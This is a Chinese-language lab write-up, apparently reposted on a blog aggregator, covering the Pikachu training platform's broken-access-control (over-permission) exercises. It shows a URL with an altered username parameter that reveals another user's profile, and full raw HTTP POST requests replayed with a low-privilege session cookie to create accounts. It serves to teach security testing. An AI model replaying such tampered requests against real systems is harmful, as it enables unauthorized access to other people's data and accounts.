当前位置: 首页 > news >正文

WebWall-10.Over Permisson(越权漏洞)

概述

如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。

一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。

实验测试

水平越权

在这里插入图片描述

登陆lucy账号,查看个人信息

在这里插入图片描述

正常请求

http://127.0.0.1/pikachu/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF

修改请求

http://127.0.0.1/pikachu/vul/overpermission/op1/op1_mem.php?username=kobe&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF#

在这里插入图片描述

现在lucy是登录状态,kobe是未登录,但是在访问查看kobe个人信息的url,可以看到kobe的个人信息。由此存在水平越权漏洞。

垂直越权

在这里插入图片描述

先登录pikachu账号,发现只有查看权限

在这里插入图片描述

登陆admin账号,发现有查看和添加权限

在这里插入图片描述

admin账号随意添加一个会员,

这里是这次添加会员的请求信息,之后会用到

在这里插入图片描述

POST /pikachu/vul/overpermission/op2/op2_admin_edit.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 88
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin_edit.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=gtr5smtcoei36hv2grfabt370a
Connection: close

username=kaikai&password=kaikai&sex=&phonenum=&email=&address=&submit=%E5%88%9B%E5%BB%BA

现在退出高权限的admin账号,登陆低权限的pikachu账号,我们试试能不能用低权限的账号越权做添加会员用户的操作。
pikachu账号登陆之后,重发刚才添加会员的请求包,但是把cookie改成piakchu账号的cookie。

在这里插入图片描述

这个cookie加上上面的请求,看看可不可以新增用户

POST /pikachu/vul/overpermission/op2/op2_admin_edit.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 88
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin_edit.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=uqa7lmdnai2flarnta4c416lj   ##这里是piakchucookie
Connection: close

username=kaikai01&password=kaikai01&sex=&phonenum=&email=&address=&submit=%E5%88%9B%E5%BB%BA

在这里插入图片描述

发现添加成功

在这里插入图片描述

使用新添加的用户进行登录

防范方式

对权限进行严格的校验

相关文章:

  • 搜题系统平台 公众号查题必用
  • Linux(七)DNS域名解析服务器学习
  • c++基础(八)——静态成员
  • 【手把手带你学JavaSE系列】练习项目—图书管理系统
  • iptables实战
  • JavaScript心得笔记-1(后端了解必备)
  • 前端培训丁鹿学堂:css布局之定位知识总结
  • 基础 | 并发编程 - [AQS]
  • java8 新特性 stream
  • DAY45(DAY46拓展):SOCKS 代理技术
  • Handler消息传递机制
  • Django之路由匹配
  • Java面试(四)JVM基础
  • 新学期,新FLAG
  • 一文详解C语言文件
  • HashMap剖析之内部结构
  • iBatis和MyBatis在使用ResultMap对应关系时的区别
  • Kibana配置logstash,报表一体化
  • Mysql数据库的条件查询语句
  • STAR法则
  • 闭包,sync使用细节
  • 闭包--闭包之tab栏切换(四)
  • 关键词挖掘技术哪家强(一)基于node.js技术开发一个关键字查询工具
  • 蓝海存储开关机注意事项总结
  • 前端性能优化--懒加载和预加载
  • 容器服务kubernetes弹性伸缩高级用法
  • 实战:基于Spring Boot快速开发RESTful风格API接口
  • 通过获取异步加载JS文件进度实现一个canvas环形loading图
  • 一个普通的 5 年iOS开发者的自我总结,以及5年开发经历和感想!
  • 自定义函数
  • 阿里云移动端播放器高级功能介绍
  • 我们雇佣了一只大猴子...
  • #图像处理
  • $.ajax中的eval及dataType
  • (¥1011)-(一千零一拾一元整)输出
  • (2)STM32单片机上位机
  • (26)4.7 字符函数和字符串函数
  • (动态规划)5. 最长回文子串 java解决
  • (二)斐波那契Fabonacci函数
  • (附源码)spring boot智能服药提醒app 毕业设计 102151
  • (免费分享)基于springboot,vue疗养中心管理系统
  • (五)Python 垃圾回收机制
  • (原创)攻击方式学习之(4) - 拒绝服务(DOS/DDOS/DRDOS)
  • *Algs4-1.5.25随机网格的倍率测试-(未读懂题)
  • .Mobi域名介绍
  • .NET Core跨平台微服务学习资源
  • .NET Micro Framework初体验
  • .NET教程 - 字符串 编码 正则表达式(String Encoding Regular Express)
  • @TableLogic注解说明,以及对增删改查的影响
  • [Android]Tool-Systrace
  • [Android]常见的数据传递方式
  • [ARM]ldr 和 adr 伪指令的区别
  • [C#][opencvsharp]opencvsharp sift和surf特征点匹配
  • [C\C++]读入优化【技巧】
  • [CISCN 2019华东南]Web11